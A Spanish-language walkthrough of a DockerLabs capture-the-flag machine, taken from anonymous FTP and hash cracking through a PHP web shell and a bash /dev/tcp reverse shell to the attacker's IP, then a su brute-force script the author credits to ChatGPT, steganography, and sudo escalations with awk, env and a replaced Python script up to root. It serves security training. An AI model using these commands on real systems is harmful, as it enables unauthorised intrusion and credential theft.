

Desplegamos la máquina.

```
> sudo bash auto_deploy.sh file.tar  
[sudo] contraseña para kali:
```


NNN { NN NNNN NNN NNNN NN N } === NNN
0
DOCKERLABS

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Le hacemos un ping para comprobar la conectividad y con el ttl de 64 vemos que es una Linux.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.039 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.039/0.039/0.039/0.000 ms
```

Con nmap vemos los puertos que están abiertos y sus servicios.

```
21/tcp open  ftp        vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -r--r--r--   1 65534      65534          33 Sep 12  2024 anon.txt
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:172.17.0.1
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 4
|   vsFTPD 3.0.5 - secure, fast, stable
|_ End of status
80/tcp open  http        Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.41 (Ubuntu)
```

Extraemos del servicio ftp el archivo txt que nos menciona en la captura de nmap y comprobamos su contenido.

```
> ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPD 3.0.5)
Name (172.17.0.2:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get anon.txt
local: anon.txt remote: anon.txt
229 Entering Extended Passive Mode (|||14720|)
150 Opening BINARY mode data connection for anon.txt (33 bytes).
100% |*****| 33 1.31 MiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (96.19 KiB/s)
```

Comprobamos que es un hash md5 y usamos john the ripper para desencriptarlo.

```
> hash-identifier 53dd9c6005f3cdfc5a69c5c07388016d
#####
#
#      ^_  ^_  ^_      ^_  ^_  ^_      ^_
#      / \ / \ / \      / \ / \ / \      / \
#      \_  \_  \_  \_  \_  \_  \_  \_  \_  \_
#      \_  \_  \_  \_  \_  \_  \_  \_  \_  \_
#      \_  \_  \_  \_  \_  \_  \_  \_  \_  \_
#      \_  \_  \_  \_  \_  \_  \_  \_  \_  \_
#
#####
-----
Possible Hashs:
[+] MD5

> john anon.txt --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
justin (?)
```

Ahora en la web cuando la inspeccionamos encontramos una frase que es una pista.

```
</body>
<!-- El que hizo la web no quiso trabajar mucho, por eso hizo un directorio raro ;D -->
</html>
```

Con gobuster comprobamos los archivos y directorios ocultos.

```
> gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/big.txt -x php,html -t 100
=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
./htaccess (Status: 403) [Size: 275]
./htaccess.php (Status: 403) [Size: 275]
./htpasswd (Status: 403) [Size: 275]
./htaccess.html (Status: 403) [Size: 275]
./htpasswd.php (Status: 403) [Size: 275]
./htpasswd.html (Status: 403) [Size: 275]
./file_upload.php (Status: 200) [Size: 468]
./index.html (Status: 200) [Size: 11008]
./server-status (Status: 403) [Size: 275]
./uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
```

Dentro de la web intentamos subir un archivo malicioso con el que ejecutar código.

Una vez subido nos vamos a la carpeta uploads donde podremos usar nuestro archivo malicioso.

```
172.17.0.2/uploads/shell.phar?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

view-source:http://172.17.0.2/uploads/shell.phar?cmd=cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fernando:x:1000:1000::/home/fernando:/bin/bash
mario:x:1001:1001::/home/mario:/bin/bash
julen:x:1002:1002::/home/julen:/bin/bash
iker:x:1003:1003::/home/iker:/bin/bash
```

Ahora con netcat y el oneliner típico podemos lanzarnos una reverse shell.

```
view-source:http://172.17.0.2/uploads/shell.phar?cmd=bash -c 'bash -i %3E%26%20 /dev/tcp/10.0.2.65/443 0%3E%261'

> nc -lvnp 443
listening on [any] 443 ...
connect to [10.0.2.65] from (UNKNOWN) [172.17.0.2] 36614
bash: cannot set terminal process group (12): Inappropriate ioctl for device
bash: no job control in this shell
www-data@c65fdada4840:/var/www/html/uploads$ |
```

Después de varios intentos de escaladas de privilegios con chatgpt conseguí un script para aplicar fuerza bruta dentro de la máquina.

```
bash
#!/bin/bash

# Uso: ./bruteforce-su.sh users.txt rockyou.txt

USERS=$1
WORDLIST=$2

if [ -z "$USERS" ] || [ -z "$WORDLIST" ]; then
    echo "Uso: $0 users.txt rockyou.txt"
    exit 1
fi

while read -r user; do
    echo "[*] Probando usuario: $user"
    while read -r pass; do
        echo "$pass" | su - $user -c "id" 2>/dev/null
        if [ $? -eq 0 ]; then
            echo "[+] Contraseña encontrada para $user: $pass"
            # Romper solo el bucle de contraseñas, no todo el script
            break
        fi
    done < "$WORDLIST"
done < "$USERS"

echo "[*] Fuerza bruta finalizada"
```

Por lo que debemos pasar rockyou.txt a la máquina víctima.

```
> cd /usr/share/wordlists
> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```

www-data@c65fdada4840:/tmp$ wget http://10.0.2.65/rockyou.txt
--2025-09-02 21:53:10-- http://10.0.2.65/rockyou.txt
Connecting to 10.0.2.65:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 139921507 (133M) [text/plain]
Saving to: 'rockyou.txt'

rockyou.txt                                0%[
rockyou.txt                                97%[=====] 0 --.-KB/s
=====
rockyou.txt                                100%[=====] 130.26M 651MB/s
=====
s
2025-09-02 21:53:10 (653 MB/s) - 'rockyou.txt' saved [139921507/139921507]

www-data@c65fdada4840:/tmp$ ls -la
total 136652
drwxrwxrwt 1 root root 4096 Sep 2 21:53 .
drwxr-xr-x 1 root root 4096 Sep 2 21:07 ..
-rw-r--r-- 1 www-data www-data 139921507 May 12 2023 rockyou.txt

```

Ahora crearemos el script y aplicaremos fuerza bruta a los usuarios encontrados.

```

> cat brutesu.sh -p
#!/bin/bash

# Uso: ./bruteforce-su.sh users.txt rockyou.txt

USERS=$1
WORDLIST=$2

if [ -z "$USERS" ] || [ -z "$WORDLIST" ]; then
    echo "Uso: $0 users.txt rockyou.txt"
    exit 1
fi

while read -r user; do
    echo "[*] Probando usuario: $user"
    while read -r pass; do
        echo "$pass" | su - $user -c "id" 2>/dev/null
        if [ $? -eq 0 ]; then
            echo "[+] Contraseña encontrada para $user: $pass"
            break
        fi
    done < "$WORDLIST"
done < "$USERS"

echo "[*] Fuerza bruta finalizada"

```

Y lo pasamos a la máquina víctima como el diccionario rockyou. Además de darle permisos de ejecución.

```

www-data@c65fdada4840:/tmp$ wget http://10.0.2.65/brutesu.sh
--2025-09-02 21:56:57-- http://10.0.2.65/brutesu.sh
Connecting to 10.0.2.65:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 541 [text/x-sh]
Saving to: 'brutesu.sh'

brutesu.sh                                0%[
brutesu.sh                                100%[=====] 541 --.-KB/s
=====
2025-09-02 21:56:57 (123 MB/s) - 'brutesu.sh' saved [541/541]

www-data@c65fdada4840:/tmp$ ls -la
total 136660
drwxrwxrwt 1 root root 4096 Sep 2 21:56 .
drwxr-xr-x 1 root root 4096 Sep 2 21:07 ..
-rw-r--r-- 1 www-data www-data 541 Sep 2 21:55 brutesu.sh
-rw-r--r-- 1 www-data www-data 139921507 May 12 2023 rockyou.txt

www-data@c65fdada4840:/tmp$ chmod 777 brutesu.sh
www-data@c65fdada4840:/tmp$ ls -la
total 136664
drwxrwxrwt 1 root root 4096 Sep 2 21:58 .
drwxr-xr-x 1 root root 4096 Sep 2 21:07 ..
-rwxrwxrwx 1 www-data www-data 541 Sep 2 21:55 brutesu.sh

```

Por último, creamos un archivo .txt con todos los usuarios.

```
www-data@c65fdada4840:/tmp$ echo -e "fernando\nmario\niker\njulén" > users.txt
www-data@c65fdada4840:/tmp$ cat users.txt
fernando
mario
iker
julén
```

Ejecutamos el script con el diccionario de usuarios que hemos creado y rockyou. Y sacamos la contraseña de Fernando.

```
www-data@c65fdada4840:/tmp$ ./brutesu.sh users.txt rockyou.txt
[*] Probando usuario: fernando
uid=1000(fernando) gid=1000(fernando) groups=1000(fernando)
[+] Contraseña encontrada para fernando: chocolate
[*] Probando usuario: mario
```

Encontramos una imagen en el directorio de Fernando.

```
fernando@c65fdada4840:~$ ls -la
total 208
drwxrwx--- 1 fernando fernando 4096 Nov 26 2024 .
drwxr-xr-x 1 root root 4096 Sep 11 2024 ..
lrwxrwxrwx 1 fernando fernando 9 Nov 26 2024 .bash_history -> /dev/null
-rw-r--r-- 1 fernando fernando 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 fernando fernando 3765 Nov 26 2024 .bashrc
drwxrwxr-x 3 fernando fernando 4096 Sep 11 2024 .local
-rw-r--r-- 1 fernando fernando 807 Feb 25 2020 .profile
-rw-rw-r-- 1 fernando fernando 187638 Sep 11 2024 dragon-medieval.jpeg
```

Nos lo pasamos a la Kali con Python.

```
fernando@c65fdada4840:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
172.17.0.1 - - [02/Sep/2025 22:32:43] "GET /dragon-medieval.jpeg HTTP/1.1" 200 -
> wget http://172.17.0.2:8080/dragon-medieval.jpeg
--2025-09-02 22:32:43-- http://172.17.0.2:8080/dragon-medieval.jpeg
Conectando con 172.17.0.2:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 187638 (183K) [image/jpeg]
Grabando a: «dragon-medieval.jpeg»

dragon-medieval.jpeg 100%[=====] 183,24K --.-KB/s en 0s
2025-09-02 22:32:43 (790 MB/s) - «dragon-medieval.jpeg» guardado [187638/187638]
```

Con stegseek vemos que hay archivos ocultos y además nos da el salvoconduto que es secret.

```
> stegseek dragon-medieval.jpeg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "secret"
[i] Original filename: "pass.txt".
[i] Extracting to "dragon-medieval.jpeg.out".

> steghide extract -sf dragon-medieval.jpeg
Anotar salvoconduto:
anot los datos extrados e/"pass.txt".
```

Vemos pass.txt y tiene lo descriptamos.

```
> cat pass.txt -p
cbfdac6008f9cab4083784cbd1874f76618d2a97

> john pass.txt --format=Raw-SHA1-AxCrypt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1-AxCrypt [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
```

Ya que tenemos una contraseña vamos a usarlo con el script que nos dio chatgpt.

```
fernando@c65fdada4840:/tmp$ echo "password123" > pass.txt
fernando@c65fdada4840:/tmp$ ./brutesu.sh users.txt pass.txt
[*] Probando usuario: fernando
[*] Probando usuario: mario
uid=1001(mario) gid=1001(mario) groups=1001(mario)
[+] Contraseña encontrada para mario: password123
[*] Probando usuario: iker
[*] Probando usuario: julen
[*] Fuerza bruta finalizada
```

Ya que tenemos el usuario de Mario, ahora vamos a comprobar si tiene alguna forma de seguir escalando privilegios.

```
mario@c65fdada4840:~$ sudo -l
Matching Defaults entries for mario on c65fdada4840:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\
n\::/bin\:/snap/bin

User mario may run the following commands on c65fdada4840:
    (julen) NOPASSWD: /usr/bin/awk
```

Con GTFO vamos a conseguir los comandos para llegar a ser julen.

```
| Sudo
If the binary is allowed to run as root
may be used to access the file system

sudo awk 'BEGIN {system("/bin/sh")}'

mario@c65fdada4840:~$ sudo -u julen awk 'BEGIN {system("/bin/bash")}'
julen@c65fdada4840:/home/mario$ id
uid=1002(julen) gid=1002(julen) groups=1002(julen)
```

Ahora vamos a conseguir el usuario Iker con otro binario.

```
julen@c65fdada4840:~$ sudo -l
Matching Defaults entries for julen on c65fdada4840:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\
n\::/bin\:/snap/bin

User julen may run the following commands on c65fdada4840:
    (iker) NOPASSWD: /usr/bin/env

| Sudo
If the binary is allowed to run as root
may be used to access the file system

sudo env /bin/sh

julen@c65fdada4840:~$ sudo -u iker env /bin/bash
iker@c65fdada4840:/home/julen$ id
uid=1003(iker) gid=1003(iker) groups=1003(iker)
```

Y para conseguir root hay un archivo Python con el cual podemos llegar a ser root.

```
iker@c65fdada4840:~$ ls -la
total 32
drwxrwx--- 1 iker iker 4096 Nov 26 2024 .
drwxr-xr-x 1 root root 4096 Sep 11 2024 ..
lrwxrwxrwx 1 iker iker 9 Nov 26 2024 .bash_history -> /dev/null
-rw-r--r-- 1 iker iker 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 iker iker 3765 Nov 26 2024 .bashrc
drwxrwxr-x 3 iker iker 4096 Sep 11 2024 .local
-rw-r--r-- 1 iker iker 807 Feb 25 2020 .profile
-rw-rw-r-- 1 iker iker 0 Sep 11 2024 .selected_editor
drwxr-xr-x 2 root root 4096 Nov 26 2024 __pycache__
-rw-r--r-- 1 root root 178 Sep 12 2024 geo_ip.py
iker@c65fdada4840:~$ sudo -l
Matching Defaults entries for iker on c65fdada4840:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local\:/bin\:/snap/bin

User iker may run the following commands on c65fdada4840:
    (ALL) NOPASSWD: /usr/bin/python3 /home/iker/geo_ip.py

iker@c65fdada4840:~$ cat geo_ip.py
import requests;
ip = input('Introduce la direccion IP que quieras geolocalizar: ')
respuesta = requests.get(f'http://ip-api.com/json/{ip}')
data = respuesta.json()
print(data)
```

Lo que podemos hacer es borrar el archivo y crear nosotros uno que nos de una bash de root y listo ya somos root.

```
iker@c65fdada4840:~$ rm geo_ip.py
rm: remove write-protected regular file 'geo_ip.py'? y
iker@c65fdada4840:~$ nano geo_ip.py
iker@c65fdada4840:~$ cat geo_ip.py
import os
os.system("/bin/bash")
iker@c65fdada4840:~$ sudo /usr/bin/python3 /home/iker/geo_ip.py
root@c65fdada4840:/home/iker# id
uid=0(root) gid=0(root) groups=0(root)
```